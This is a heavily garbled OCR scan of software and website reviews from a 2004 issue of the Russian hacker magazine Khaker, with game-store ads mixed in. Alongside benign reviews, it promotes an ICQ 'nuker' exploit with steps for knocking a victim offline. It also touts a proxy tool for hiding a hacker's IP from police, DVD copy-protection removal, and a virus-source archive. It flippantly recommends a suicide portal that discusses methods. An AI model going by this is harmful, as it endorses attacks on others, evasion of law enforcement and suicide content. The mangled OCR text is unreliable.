то ценой невероятных ухищрений. Тем 
приятней мне было узнать, что на рын- 
ке появился новый продукт, для которо- 
го русский язык является родным. 
Впрочем, громкое слово «продукт» к 
программе ГПМ ЗреІІег не очень-то под- 
ходит, поскольку указанная софтина ве- 
сит всего 600 килобайт и проста как три 
копейки. Тем не менее, ПТІ ЗреІІег рабо- 



тает, и работает довольно прилично. В 
его окошке, которое, кстати, можно 
расположить поверх окон других при- 
ложений, дублируется набираемое то- 
бой в данный момент слово. Если прог- 
рамма думает, что ты допускаешь 
ошибку, звучит предупреждающий сиг- 
нал, и слово на дисплее ГПМ ЗреІІег’а 
высвечивается красным. При этом в 
списке-подсказке отображается ряд 
близких по написанию слов. 

Функция добавления в базу данных 
новых слов реализована даже в бесп- 
латной версии ПТІ ЗреІІег’а. Если ты 
заинтересовался этой прогой, то ука- 
занная функция наверняка тебе при- 
годится, поскольку в комплект пос- 
тавки бесплатной версии входят 
лишь демонстрационные языковые 
модули (епдіізб.біі и гиззіап.бІІ), кото- 
рые содержат списки лишь наиболее 
часто употребляемых слов. 




137 




а&к Мі/ь 

т шш 



Правильный журнал 
о компьютерных играх 



НПКЕР/№06(66)/2004 




Правильный объем 208 страниц 

Правильная комплектация 
3 СР или ОУО 

Правильная цена 




Никакого мусора и невнятных тем, 
настоящий геймерский рай 

ТОЛЬКО РС ИГРЫ 



V У 

и «В тылу врага» - правильные стратегии про Вторую миро- 
вую делают только в России. 

■ Эксклюзивная рецензия на одну из таких правильных игр! 

■ Месяц хороший игр - сразу три игры месяца: «Периметр», 
МапМипі, Ніітап Сопігасіз! Каждая из них достойна твоего 
внимания. 

■ Еще больше конкурсов и розыгрышей! Собираешься апг- 
рейдить компьютер? Не торопись, «РС ИГРЫ» помогут сэ- 
кономить. Масса призов - только у нас. 



в продаже с 23 июня! 



ЕСЛИ ТЫ ГЕЙМЕР - ТЫ НЕ ПРОПУСТИШЬ! 




^ СЮНЕОУО Н 2.0.8.4 





Н едавно мной был приобретен 
0\Ю-резак НЕС 2500А, и после 
установки девайса в машину я пер- 
вым делом решил переписать пару 
классических вестернов, взятых «на 
недельку» у тов. СоЫіп’а пару месяцев 
назад. Нагло копирнугь двухслойные 
лицензионные диски, естественно, не 
удалось. Однако установленная по со- 
вету более опытных товарищей прог- 
рамма СІопеМ) позволила выпол- 
нить требуемую работу за три шага. 
Причем мастер, который помогал мне 
«шагать», говорил на великом и могу- 
чем без какого-либо акцента. Под нож 
пошла часть бонусных материалов, 
звуковые дорожки на французском, 




испанском и португальском, а также 
большая часть субтитров. Но даже 
после кастрации исходное видео 
пришлось перекодировать с более 
низким битрейтом, чтобы оно влезло 
на обычный однослойный Ш>Н. Но 
все равно, конечным результатом я 
остался более чем доволен :). 
СІопеЭѴО - одна из самых известных 
программ для копирования 040 - 
Ѵібео. Ее если и критикуют, то в ос- 
новном за неумение работать с защи- 
щенными дисками. На самом деле, 
СІопеМ) копирует такие диски без 
особого труда, просто ее разработчи- 
кам, во избежание проблем с законо- 
дательством, пришлось модуль для 
обхода защит оформить в виде от- 
дельной утилиты АпуЭѴО, издать его 
под чужим именем и выдавать на сай- 
те м™.$Іу$ой.сот/еп за отдельную плату 
:). При этом никакой настройки 
АпуОѴО не требует - утилита запуска- 
ется и... все диски мигом стано- 
вятся легкой добычей для 
СІопеОѴО и целого ряда других 
программ. 
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ВЕ1Е08Е ОІСЕЗТ: 

НПШПШІШ10.0 0ШСІПІ. 

Н апбгакезоіі представила выход Мапсігакеііпих 
10.0 ОІІісіаІ - полноценной операционной сис- 
темы с набором приложений и для настольных ПК, 
и для серверов. За два месяца, прошедших после 
выпуска Мапсігакеііпих 10.0 Соттипііу, операци- 
онная система была тщательно отполирована, и 
теперь доступен официальный релиз. В 
Мапсігакеііпих 10.0 ОІІісіаІ вошли графические 
оболочки КОЕ 3.2, ОЫОМЕ 2.4 и Мапбгакедаіаху II, 
программы распознавания железа, поддержка 
ЗегіаІ АТА, ЭЗВ2 и ІЕЕЕ 1394. Основан дистрибу- 
тив на Ыпих-ядре 2.6. Анонс: ѵѵѵѵѵѵ.тапсігаке- 
5оЕ1.сот/сотрапу/рге55/рг?п=/рг/ргос1- 
ис*з/2464. 

Из других релизов: Х11В6.7.0, ОСС 3.4.0, МогіІІа 
1.7 ВС 1, РегІ 5.8.4, Орега 7.5 Веіаі, ЗЭЗЕ ІЛЧІІХ 
9.1,01 3.3.2, Ребога Соге 2 Тезі 3, Оепіоо І_іпих 
2004.1, ОрепВЗО 3.5, МогіІІа ТбипбегЫгб 0.6, 
РгееВЗО 4.10-ВС2, КпорріхЗ.4. 









РЗЕКНН 2.2 







Л юбой продвинутый юзер, устано- 
вив себе ІМТ-базесІ операционную 
систему, рано или поздно решит на- 
вести порядок в работающих на его 
машине системных службах. Оно и по- 
нятно! Отключив службы, которые тебе 
на фиг не нужны, можно сразу убить 
трех зайцев: повысить безопасность, 
ускорить работу системы и освободить 
немного памяти (кстати, хороший рус- 
скоязычный хелп по службам ѴѴіпсІоѵѵз 
ХР находится на сайте \ш.о$ 20 пе.пеі). 
Одна беда - стандартная оснастка 
Службы (Зегѵісез) довольно далека от 
совершенства. Поэтому вся продвину- 




тая молодежь предпочитает использо- 
вать вместо нее апплет рзегѵ.срі. Дело 
в том, что последний имеет целый ряд 
важных преимуществ. Во-первых, ос- 
новная информация выводится в од- 
ном окне, и тебе не надо, к примеру, 
долго кликать по названиям служб, 
чтобы посмотреть, какая из них связа- 
на, скажем, с файлом Ізазз.ехе. Во- 
вторых, для отображения работающих 
служб софтина использует шрифт си- 
него цвета, отключенные показывает 
серым, а остальные выводит черным. 
Ну и, в-третьих, кроме служб, апплет 
умеет аналогичным же образом отоб- 
ражать еще и список девайсов с драй- 
верами! Это мегаудобно. Особенно ес- 
ли учесть, что включить/отклю- 
чить/удалить любой драйвер или служ- 
бу с помощью рзегѵ.срі можно бук- 
вально за пару кликов. 






С кажи, часто ли случалось так, что 
тебе нужно было скопировать ка- 
кой-нибудь текст из области приложе- 
ния, где физически сделать это не 
представляется возможным? Я имею 
в виду, например, строку состояния 
файла в винде, где написан его раз- 
мер, дата создания и т.д. Рад познако- 
мить тебя с Искателем Окон, который 



копирует буквально все, что движется 
и не движется. Необычайно компакт- 
ная и дизайнерски интересная прога 
работает просто: наводишь курсор на 
текст, который нужно скопировать, на- 
жимаешь СІгІ и из окна софтины заби- 
раешь его в готовом виде. Не забудь 
потом снова нажать Контрол :). Еще 
можно послать любому окну свой 
собственный хекс-код, поменять его 
размер в пикселях и т.д. - то есть все, 
что нужно для души. Также можно уз- 
нать много полезной информации об 
активных окнах, например, слева от 
"С" содержится идентификатор окна, 
по научному - НШЭ. 
Справа - класс окна и 
многое другое. Под- 
робное описание всех 
возможностей прог- 
раммы ищи на сайте 
автора. Кстати, еще 
один приятный мо- 
мент: программа пос- 
тавляется с исходни- 
ками. 





у 8ВШ8СН1І2.46 





М ощная система для управления 
обоями Рабочего стола, пред- 
назначенная для слабых машин и 
админов, которые ненавидят тра- 
тить системные ресурсы на разного 
рода «украшательства». ЗВВипЗсг 
весит всего 77 Кб, может загрузить- 
ся вместе с ѴѴіпсІоѵѵз, сделать дело 
и вырубиться. Тем не менее, тот, 



кто хотя бы раз видел меню наст- 
ройки этой софтины, никогда не на- 
зовет ее примитивной. ЗВВипЗсг 
поддерживает форматы ірд, еті, 
Ьтр, діТ, ісо, РІМО, ссылки на РТР и 
НТТР файлы и обладает приличным 
механизмом смены/управления 
обоями. Отдельная вкладка прог- 
раммы позволяет сконфигуриро- 
вать календарик, который каждый 
раз будет впечатываться в фоновую 
картинку. Также ЗВРІипЗсг может 
несколькими способами блокиро- 
вать машину в отсутствие юзера, 
напоминать ему о заранее заданных 
событиях, де- 
лать прозрач- 
ным фон под 
текстом ико- 
нок, управлять 
скринсейвера- 
ми и даже в ак- 
тивном состоя- 
нии отжирать 
не больше 700 
Кб памяти при 
нулевой загруз- 
ке процессора. 






К сожалению, из-за доминирова- 
ния Іпіегпеі Ехріогег’а НТМІ_-код 
большинства сайтов стал непременно 
затачиваться под него, в то время как 
по-настоящему правильным браузе- 
ром является Атауа. Разработан он 
небезызвестным консорциумом ѴѴЗС, 
и уж его представителям лучше дру- 
гих известно о том, каковы они, ѴѴеЬ- 
стандарты (из них программа под- 
держивает НТМІ. 4.01, ХНТМІ. 
1.0/1.1/Вазіс, НТТР 1.1, МаІбМІ. 2.0, 
С55 2, 5ѴС). Атауа при отображении 
сайтов способна беспощадно проде- 
монстрировать все неточности кода, 
не закрывая глаза (как это делают ос- 



тальные) даже на мелкие в нем недо- 
четы. По этой причине продукт ѴѴЗС, 
возможно, не стоит рекомендовать в 
качестве основного обозревателя для 
рядового пользователя, но его цен- 
ность для ѵѵеб-разработчиков (в пер- 
вую очередь, для НТМІ_-кодеров), же- 
лающих создавать правильные сай- 
ты, очевидна. Подтверждает этот ста- 
тус и официальная характеристика 
Атауа ("ШС'з Ебііог/Вгоѵѵзег") - это 
не просто обычный браузер, а прог- 
раммная интеграция ѴѴеЬ-редактора 
(ѴѴУ5ІѴѴУС) с ѴѴеЬ-обозревателем. 
Любую загруженную в браузере стра- 
ницу можно смело изменять или 
просто внимательно изучать, для чего 
в меню "Ѵіеѵѵз" представлены расши- 
ренные возможности, вроде прос- 
мотра структуры или найденных оши- 
бок. Даже показываемый исходный 
код напрямую привязан к видимой 
картинке: при 
клике на какую- 
либо строку ко- 
да в "Ѵіеѵѵ 
зоигсе" браузер 
помечает соот- 
ветствующую 
ей строку с 
изображаемым 
видом страни- 
цы. 
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РЕВИЕО 8ЕСЦКІТѴ ОВІНЕВ У 4.2 



К акое сло- 
во из 12 
букв, начина- 
ющееся на 
"безо" и окан- 
чивающееся 
на "пасность", является верным спутником хакера? (Нет, 
не экскаватор ;).) Правильно, безопасность! Ведь неосто- 
рожно засветив родной ІР’шник или проболтавшись под- 
руге из чата о своих хакерских достижениях, взломщик 
дает правоохранительным органам пищу для размышле- 
ния. И если в случае с болтливой девчонкой софт бесси- 
лен, то оставить на голодном пайке отдел "К", скрыв от 
злых глаз заветный айпи, с радостью поможет эта софти- 
на. Ее предназначение - подружиться со всеми твоими 
хакерскими тулзами и научить их работать через зоскзб 
прокси. И Регтео с этим, я тебе скажу, справляется! Гиб- 
кие настройки позволяют определить, каким приложени- 
ям нужно вести себя секьюрно, а какие могут бесстраш- 





но шерстить просторы Сети, не скрываясь. И ведь прав- 
да, ну ни к чему смотреть Масяню через цепочку проксей 
по всему миру, согласись :). РМ5 поддерживает много 
различных типов сетевых аутентификаций, таких как 55Ц 
ѴѴіпсІоѵѵз Оотаіп аиібепіісаііоп и еще много других страш- 
ных слов, которые ты скоро будешь иметь счастье лицез- 
реть сам. Как, ты еще не качаешь? 
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И е з 5 и з 
Зесигііу 
Зсаппег - одно 
из наиболее 
популярных 
ореп-зоигсе 
приложений, предназначенных для проведения "иссле- 
дований" в сфере информационной безопасности. В 
данном случае слово "Зсаппег" подразумевает не только 
избитую и обыденную возможность сканирования пор- 
тов, но и пристальное изучение всех найденных у жерт- 
вы сервисов. Главная цель Иеззиз - обнаружение уязви- 
мостей на удаленной (или локальной) машине. Инфор- 
мация о дырах берется из ежедневно (!) обновляемой 
базы данных, создаваемой на основе последних сооб- 
щений Видігац и прочих зесигііу іззиез. Ошибки исследу- 
ются в предварительно найденных сервисах, и из всех 
потенциальных опасностей создаются подробные отче- 
ты по каждому сервису. Программа наделена возмож- 
ностью распознавания сервисов не по тупой привязке к 
портам, а с толком, чувством, расстановкой. Не чужды 
ІЧеззиз и дополнения, в просторечии называемые ріид- 
іпз, и даже собственный язык (ІМАЗЦ для упрощения и 
ускорения процесса сканирования. Приложение постро- 




V СНЕИТ00Ш.6 



В последнее 
время (судя 
по Ггезбтеаі.пеі) 

идея создания 
программ для 
графического 
изображения химических формул стала популярной среди 
разработчиков ореп-зоигсе ПО. И Сбетіооі - одна из таких. 
Примечательна она простотой использования: ее интер- 
фейс быстро освоит и плохо знакомый с химией человек. В 
частности, способствуют этому "Заготовки", содержащие 
готовые картинки к распространенным химическим форму- 
лам (представлены карбоциклы, гетероциклы, сахара). Пос- 
ле размещения всех элементов связи между молекулами 
можно изогнуть в произвольной форме, для наглядности 





ено по схеме клиент-сервер, т.е. состоит из двух основ- 
ных компонентов: демона пеззизб и непосредственно 
клиента с графическим интерфейсом. Сделано это для 
того, чтобы можно было проводить сканирования с дру- 
гих компьютеров, установив себе только клиента. Меззиз 
умеет одновременно сканировать неограниченное коли- 
чество машин, обладает полной поддержкой 556 (серви- 
сов вроде іійрз, зтірз, ітарз и т.п.). 



* Версия для ѴѴіпсІоѵѵз называется №ѴѴТ ("№ззиз 
ѴѴіпсІоѵѵз Тесбпоіоду") и проживает по адресу ѵш.іеп- 
аЫезесигііу.сот/пеѵѵШтІ. 





сделать соответствующие подписи, а в завершение узнать 
информацию о получившемся продукте (или выделенном 
объекте). Из данных выдается общая формула, молекуляр- 
ная масса и процентное соотношение веществ. 








Э ксклюзив. Никакого другого рабочего 
нюкера аськи ты в инете не найдешь, 
я тебя уверяю! Человек со смешным ни- 
ком Оуабуа обнаружил уязвимость в кли- 
енте ІСО2001 /2002/2003а, написал 
эксплойт и, не пожадничав, выложил его в 
Сеть для свободного скачивания. Тіте 2 
Оізсоппесі для нюкалки очень подходя- 
щее название, так как после смертельно- 
го клика по пимпе с устрашающим лозун- 
гом "00 ГГ!" уин недоброжелателя выле- 
тит в офлайн, а сама аська подвиснет. 
Настройки примитивны до безобразия: 
регистрируешь новый 9-значный номер 
(ты же не будешь нючить со своего номе- 
ра аси, ага?), заносишь его данные в по- 
ля ІЛМ и РА55, а номер жертвы, соответ- 
ственно, аккуратно вбиваешь в Тагдеі. 
Все, осталось сделать вышеописанный 
смертельный клик. Кстати, кликать можно 
в двух языковых режимах: английском и, 
если ты предпочел урокам английского в 
школе бутылочку пива с другом, родном 
русском. Защититься от атаки можно, 
запретив все ненужные Еѵепі'ы в Зесигііу 
настройках клиента. 
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СЫМ ПІІТІѴІВІІ8 10.70 





В ирусы для ІІМІХ-систем, может, 
многим еще и кажутся экзоти- 
кой, а антивирусы - ненужной ерун- 
дой, но ведь если их кто-то делает, 
кто-то скачивает, значит, нужда 
есть. Нужно, например, для того, 
чтобы была возможность поиска (и 
устранения) вирусов на Ш2-разде- 
ле, не покидая Шпих. СІат АпІІѴІгиз 
(СІатАѴ) по популярности с лег- 
костью бьет все иные открытые при- 
ложения, специализирующиеся на 
борьбе с вирусами/червями/трояна- 




ми, даже несмотря на то, что глав- 
ной его целью является интеграция с 
почтовыми серверами (сканирова- 
ние прикрепленных файлов). Осно- 
вой служит демон сіатб, на который 
уже непосредственно и опирается 
сам сканер. Выполнено все в кон- 
сольном интерфейсе (хотя есть и 
графический Тгопіепсі под КОЕ с наз- 
ванием КІатаѵ). База вирусов на мо- 
мент написания статьи содержала 
21075 наименований, что является 
вполне солидным показателем, и, 
что очень важно, пополняется ежед- 
невно. СІатАѴ поддерживает архивы 
основных форматов (гаг, гір, дгір, 
Ьгір2), а также стандартные для ІЛМІХ 
почтовые ящики (МЬох, Маіібіг). 
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Хочешь увидеть свои советы в журнале? Присылай их на адрес ЗкІуагоѵ@геаІ.хакер.ги. 
Ведущий рубрики Тір$ЛТгіск$ Иван Скляров. 



л В ГАВе есть одна очень полезная функция: расширенное сравнение. С ее помощью можно 
побайтово сравнить файлы, причем они могут быть вложены в каталоги. Для чего это нужно? 
Например, при записи на СО бывают случаи, когда визуально файлы переписались нормально, но в 
структуре файла допущена ошибка (достаточно одного неверного символа), и файл может не 
запуститься или работать с глюками. Вот в этот момент и пригодится расширенное сравнение. 
Вызвать его можно клавишей П1. 

$ег@Тіт 

$ега(іт31377@Ьк.ги 








САМЕР05Т С ДОСТАВКОЙ НА ДОМ 



ѵ\лллл/.датеро5і.ги ѵ\ллллле-5Ііор.ги 



РІау$іаііоп2 



русская версия 

за $179.99! 

ЭТО РЕАЛЬНО 




ѴѴѴУѴУ.бАМЕРОБТ.ІШ 



Тел. (095): 928-0360, 928-6089, 928-3574 

пн.-пт. с 09:00 до 21:00 (сб.-вс. с 10:00 до 19:00) 



0 - 5 Нор Щ 



Мір://ѵ\лллл/.е-зНор.ги 



ДА! 



Я ХОЧУ ПОЛУЧАТЬ БЕСПЛАТНЫЙ 
КАТАЛОГ Р32 і= Г І=1 



КОРПУС^^Н КВАРТИРА 



ОТПРАВЬТЕ КУПОН ПО АДРЕСУ: 101000, МОСКВА, ГЛАВПОЧТАМТ, А/Я 652, Е-5Н0Р 











ХНКЕР/№06[66)/2004 



юниты 




ннінаиЕЕОіти і.2. 



ные частоты и режимы (моно/сте- 



Ипих 


рео), а также разбивать (потом и 


Р05ІХ (*ВЗР, Опіи, Зоіагіз...) 


Зііе (в .1)22): 251 Кб 


обьадиняіь) сиі нал на насколько кв- 


Зіге (в .дг): 901 Кб 


тмІек.сУтег$.$е/~біогтадп/тІшѵеебіІ.Мт 


налов и управлять скоростью восп- 


м.Ізіші- 


Лицензия: 6 N11 6РЕ 


роизведения. Предоставлен скром- 


кеібеІЬегд.бе/ц$ег$/гѵлсбтап/ЛідШаІІ.(іІтІ 




ный набор эффектов, есть возмож- 


Лицензия: 6ЛЕІ 6РЛ 



т мѵѵсіѵеі_иіі - ичеиь мриыии фсг 

фический аудиоредактор фай- 
лов формата ѴѴАѴ. Программа со- 
держит минимум самых необходи- 
мых функций и ни в коем случае не 
претендует на конкуренцию с гиган- 
тами обработчиков звука. Позволяет 
выбирать заданные участки, пере- 
мещать их, вырезать и копировать, 
умеет конвертировать аудио в раз- 



ность 

изображаемой аудиодорожки для 
доскональной работы. В качестве 
миксера по умолчанию использует- 
ся хтіхег. Для оптимизации работы 
предусмотрена загрузка редактиру- 
емого файла в оперативную память, 
если его объем мал (в противном 
случае он обрабатывается прямо с 
жесткого диска). 
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«У 98/МЕ/Ш2к/ХР 



Кбагеиаге 



$іге: 2,6 1 



тиеЬгоо1.соп/»Ь/ргобцс1з/мпбоиа$(іег/ 

іпбех.ріір 

З атронув тему инет-безопаснос- 
ти, нельзя не упомянуть эту 
софтинку. Как видно уже из назва- 
ния, Уошер - твоя личная уборщица, 

Ёі лШМ 






і «и 9 




которая к тому же первые 30 дней 
работает, не претендуя на зарплату 
(ЕгіаІ ѵегзіоп). Что же она подчища- 
ет? Программа следит за сохран- 
ностью твоей задницы, затирая по 
команде или автоматически, если 
установлено в многочисленных 
настройках, кукисы, различные бес- 
полезные для тебя и полезные в 
следствии лог-файлы, и одновре- 
менно удаляет ненужный хлам с 
жесткого диска, который любят 
сохранять такие гранды софтвер- 
ного мира, как М5. Умелое интег- 
рирование с самым популярным 
софтом (браузеры, мессенджеры, 
почтовики и т.д.) и самой виндой 
не может не радовать. К примеру, 
чтобы удалить файл с винта так, 
чтобы потом утилиты по восста- 
новлению удаленных файлов поса- 
сывали чупа-чупс, нужно просто 
кликнуть по файлу/ди- 
ректории и выбрать 
"Збгесі (ѵѵазіт ѵѵіііі 
Ыеесіі)". И очень раду- 
ет глаз автоматическая 
очистка по всем задан- 
ным параметрам при 
определенном собы- 
тии, например, при вы- 
ходе из системы. Од- 
ним словом (вернее, 
двумя) - тизі баѵе! 



П о заявлению самого разработ- 
чика, МідШаІІ - "астрономичес- 
кое приложение для забавы, обуче- 
ния и науки". В сущности же, 
І\ІідШаІІ действительно ничего по- 
лезного для среднестатистического 
обывателя не производит. Един- 
ственное, что может привлечь вни- 
мание неподготовленного пользова- 
теля - не лишенные интересных ви- 
дов движущиеся через заданный ин- 
тервал времени объекты сферичес- 



ких форм, положения которых еще и 
могут быть изменены легкими дви- 
жениями мышки. Процесс сопро- 
вождается рисованием двух графи- 
ков, показывающих, как выяснится 
позже, освещенность и скорость 
вращения. Загадочными объектами 
являются звезды, а все это вместе - 
система двойной звезды. Для нее 
(точнее, даже для них - звезд-то 
две) и рассчитываются физические 
данные, причем учитывается при 
этом огромное множество различ- 
ных факторов, изменять/уби- 
рать/добавлять которые можно при 
помощи простого и понятного (зна- 
комым с физическими терминами 
на английском :)) графического ин- 
терфейса. 




ВШСНІѴЕ1І1.0.0ВЕТП 




Мп 98/МЕ/М2к/ХР 

Зііагеѵѵаге 

Зіге: 2,1 Мб 

шчеІісо.сот/ЬсагсІііѵе.ІіІпі 

П рограмма разработана компа- 
нией Деіісо, которая уже доста- 
точно громко заявила о себе в Сети 
своими секьюрити-приложениями 
(ВезІСгурЕ, ВСѴѴІре и другие), для 
создания защищенных архивов с 
файлами. Надо сказать, что вариан- 
тов защиты здесь флоппи-дисково- 
дом жуй: тут тебе и обычная защита 
паролем без шифрования, и при- 




ватная работа, основанная на пуб- 
личных ключах, причем существую- 
щие РСР ключи поддерживаются! 
(Кстати, в некоторых хакерских кру- 
гах ходят упорные слухи, что все 
версии РСР старше шестой имеют 
лазейку для ФБР. Скорее всего, это 
обычная утка, но все же в сознании 
остается негативный осадок.) Сап- 
портятся такие симметричные алго- 
ритмы криптографии, как ЮЕА, 
ВІоѵѵЕізб, Тгіріе-Оез и Сазіб, каждый 
из которых можно несколько раз ус- 
ложнить настройками, если ты сов- 
сем параноик :). Также не забыты и 
Еіазб-алгоритмы - 5НА-1, ІѴЮ5, 
ВІРЕІШ-160, а 
про асиммет- 
ричные П5А, 
ЕІСатаІ/ОіШе- 
НеІІтап я вооб- 
ще молчу. Так 
что браузер в 
руки (если ты 
пожалел 40 р. и 
купил журнал 
без дисков) - и 
в путь! 
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УІ/ІГКІ0ѴѴ5 9х/Ме/Щ/2к/ХР 

ЗІіагеѵѵаге 

5іге: 1542 Кб 

ми.сгуйаіріауег.сот 

Н овые версии ВЗРІауег’а 
(т.ікріауег.огд) выходят регу- 
лярно, но свежие фишки в них либо 
отсутствуют, либо очень успешно 
маскируются. Такое поведение на- 
водит на мысль об одном вечно об- 
новляющемся мейлере и вызывает 
сильное раздражение из-за зря пот- 
раченного на закачку времени. В 
этой связи я принял решение пос- 
лать ВЗРІауег подальше и пересесть 
на видеоплеер отечественного про- 
изводства. Тем более что у нас и в 
самом деле производится мощная 
прога с оригинальным движком, ко- 
торая носит гордое имя 
СгузІаІРІауег. Из основных прелес- 
тей софтины стоит отметить подде- 
ржку динамических ХМЬскинов, 
удобную настройку яркости/насы- 
щенности/контрастности и громкос- 
ти, наличие Возз Кеу, системы ав- 
томатической подгрузки дополни- 
тельных кодеков, а также крайне 



симпатичное экранное меню. При- 
менение самодельного движка (а не 
просто создание красивой оболочки 
к стандартному компоненту 
АсІіѵеМоѵіе) позволило разработчи- 
ку обеспечить быструю работу 
программы при низких системных 
требованиях (начиная со старших 
версий первого пня) и потешить 
сердце продвинутого юзера воз- 
можностью доступа к огромному 
числу тонких настроек ядра проиг- 
рывателя. Кроме того, СгузІаІРІауег 
может похвастаться неплохим набо- 
ром видеофильтров для улучшений 
качества изображения (тоже доста- 
точно быстрых). Одна из специфи- 
ческих особенностей проги - уме- 
ние проигрывать обрезанные (недо- 
качанные, битые) аѵі-файлы. Хотя 
начинающих пользователей, конеч- 
но же, в первую очередь заинтере- 
сует не это, а режим Превью, акти- 
вация которого приводит к появле- 
нию на экране интерактивного 
списка видеофайлов, каждый пункт 
которого украшает картинка из со- 
ответствующего фильма, а также 
название файла, его размер и ха- 
рактеристики видео. 





ѵѵѵѵѵѵ. датерозі . ш 
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ВесІ 

ОеасІ Реѵоіѵег 



$79.99*769.99 



$83.99*775.99 



$83.99*765.99 



$83.99*783.99 



$79.99*779.99 



$75.99*759.99 



Тот СІапсу'з ЗрІіпЕег 
СеІІ: Рапсіога Тотоггоѵѵ 



Ьедасу оГ Каіп: 
ОеГіапсе 



Соипіег-Зігіке 



N11113 баісіеп 



Рго|есЬ 

Расіпд 



Епат 



Ваіаиг з ЕаЕе: 
Оагк АІІіапсе 2 



ТНе ЗиГГегіпд 



ТепсНи: геЕигп 
... Дагкпезз 



ПаІІІЗрогЕ 
СГіаІІепде 2 



* - иена на американскую версию игры ГІМТ5С1 



Мах Раупе 2: ТНе 
РаІІ оГ Мах Раупе 



ВшЕе Рогсе 



-т 

ЧТО Ы кі 

НОВОІ 



РАЦ $269.99 
ІМТЗС $305.99 



$79.99*783.99 






□г? 



$83.99*775.99 



$79.99*769.99 
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• “РЕКОМЕНДУЕТ 



Заказы по интернету - круглосуточно! ѴѴѴѴѴѴ.датерозЬ.ги 
Заказы по телефону можно сделать с 09.00 до 21 .00 пн - пт 

с 1 0.00 до 1 9.00 сб - вс 

( 095 ) 928-6089 ( 095 ) 928-0360 ( 095 ) 928-3574 





ОТПРАВЬТЕ КУПОН ПО АДРЕСУ: 101000, МОСКВА, ГЛАВПОЧТАМТ, А/Я 652, Е-ЗНОР 
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ШЕР/№06(661/2004 



I ЬООЫ ік (ЬООЫ ікіаігеаі.хакер.іи), Иван Скляров (ЗкІуагоѵоіеаІ.хакер.га) 




У ося правда о суициде 




ыыы • туги і с і сіе ■ гы 





О чень интересный портал, посвященный проблеме самоубийства. Сайтов 
схожей тематики в рунете полно, однако этот ресурс выгодно отличает- 
ся от многих других тем, что его создатели сами очень интересуются вопро- 
сами смерти. В частности, им интересен добровольный уход в мир иной ака 
суицид. На сайте собрано множество материалов, касающихся самоубий- 
ства: мнения людей, пробовавших свести счеты с жизнью, способы самоу- 
бийств (не поваренная книга анархиста, как на многих других проектах), мне- 
ния экспертов о смерти как таковой. Хочется отметить, что на тузиісісіе.ги су- 
ществует раздел, в котором рассказано о некоторых мифах - способах, кото- 
рыми ни в коем случае нельзя пользоваться, потому что к смерти они не при- 
ведут, а лишь сделают тебя калекой или подпортят здоровье. Очень интерес- 
ный ресурс, рекомендую посетить. Не для того чтобы добровольно потом по- 
мереть, а для об- 
щего развития, по- 
тому что на сайте 
очень много ин- 
формации, обладая 
которой, потом, в 
компании, при 
удачном моменте, 
можно будет блес- 
нуть своими знани- 
ями и зацепить 
падкую на умных 
парней девчонку :). 




- 



ИНІІ8Е8 80НТ НОВИ, ШШСЕ 80! 



Нб1:р://ѵх-пе1:1их.огд 



огда-то в России была сильная вирусная сцена. Существовало множе- 
ство команд, выходили десятки электронных журналов, посвященных 




вирусным технологиям. Самым извест- 
ным из журналов был, пожалуй, 
Іпіесіеб Ѵоісе под редакцией небезыз- 
вестного і-оѵіпбосі'а. Однако постепен- 
но многие известные вирмейкеры ушли 
со сцены, команды развалились, а жур- 
налы перестали издаваться. Но сцена 
не умерла. Этот ресурс, судя по всему, 
создан нашим соотечественником и со- 
держит просто огромное число вирус- 
ных е-хіпез, исходников, движков виру- 
сов, статей и книг. 




В 



последние годы не приходится испытывать недостатка в компьютерной 
литературе - полки книжных магазинов ломятся под тяжестью "кирпичей" 
в цветных обложках. Встает другая проблема: как выбрать то, что действи- 
тельно заслуживает внимания? Этой проблемой уже давно озаботились за ру- 
бежом, поэтому создали ресурс (в первую очередь для программеров), где 
каждый, прежде чем купить книгу, может посмотреть о ней отзывы бесприст- 
растной комиссии. Всем 
книгам присвоен рейтинг от 
Нідбіу Весоттепбеб до N01 
Весоттепбеб. Рассматри- 
вая полки отечественных 
магазинов, к сожалению, 
частенько можно увидеть 
переводы книг, помеченных 
как N 01 Весоттепбеб :(. 

Смотри внимательно! 




- 



и тебя посчитают, И ИЕНЯ 
посчитают 



ыыы-сгіте-гезеагсН-гы 



С 2001 года некий Центр исследования компьютерной преступности 
(Сотриіег Сгіте Везеагсб Сепіег) проводит свои исследования. Собрались 
несколько десятков дядек-профессоров и пишут научные труды, берут ин- 
тервью, выкладывают новости... О чем? Да о твоих сетевых шалостях! Конеч- 
но, без наших американских 




друзей здесь не обошлось. 
При поддержке Американс- 
кого университета (г. Ваши- 
нгтон) проводится конкурс 
научных статей с денежными 
грантами, а весь контент 
сайта скрупулезно выклады- 
вается на английском здесь: 
ѵш.сгіте-гезеагсіі.огд. 



ОССЕИБПЕР В ІІНІХ 



М:1:р://1іпихаззетЫу.огд 
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С ейчас программирование на ассемблере это удел немногих любителей, а 
программирование на асме под *піх - это вообще для истинных фанатов 
:). Однако уметь программировать на асме под нике для хакера архиважно (а 
как ты собрался писать эксплойты? ;)). Этот ресурс поможет тебе этому нау- 
читься, причем под 




разные ипіх-Ііке оси 
(Ібпих, *В5Э, Зоіагіз, 
ВеОЗ, ...), под разные 
платформы (ІА32 
(х86), ІА64 (Ііапіит), 
5РАВС, ...) и с ис- 
пользованием раз- 
личных компиляторов 
(аз, даз, пазт, ...). 
Имеется российское 
зеркало: Мр://Іа.ктѵ.пі. 
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СВИНЬЯ В ПОДНЕБЕСНОЙ 



ыиіы-ГеггуГіаІіт-сот/огізіпаІ/дЗ/рід.І'ібт 



П осле того как "Татушки" забили на 
проект Вани Шеповалова "Тату в 
поднебесной”, продюсер известной 
поп-группы решил продвигать свое но- 
вое детище в интернете. Теперь нет 
двух помпезных девах с нездоровыми 
сексуальными наклонностями. Теперь 
всем заправляют молочные поросята. 
Смысл игры заключается в том, чтобы 
выстроить как можно выше пирамиду 
из молоденьких хряков. Хряк летит на 
шарике, ты его ХОП - и другому на баш- 
ку сажаешь. Вся беда в том, что время ограничено. И надо за небольшой про- 
межуток времени успеть набрать наибольшее количество очков. Очки даются 
за каждую вновь усаженную на верхушку пирамиды свинку, но этого мало. 
Еще необходимо собирать пирожки, которые подвешены в небесах. А, чуть не 
забыл! Еще иногда вылетает чайка с часами и пытается ими убить поросенка 
насмерть. Если поймаешь часики, то момент твоего проигрыша отложится 
еще на 20 секунд. Не знаю, я набирал максимум 12000 очков, а какие-то ки- 
тайские читеры умудряются насшибать и по сорок тысяч. Игрушка меня затя- 
нула так, как ни одна квака или контра. Если надо убить время на работе или 
просто оттянуться, свиньи всегда придут на помощь. 



8НРКЕИЕѴ8. Ы 



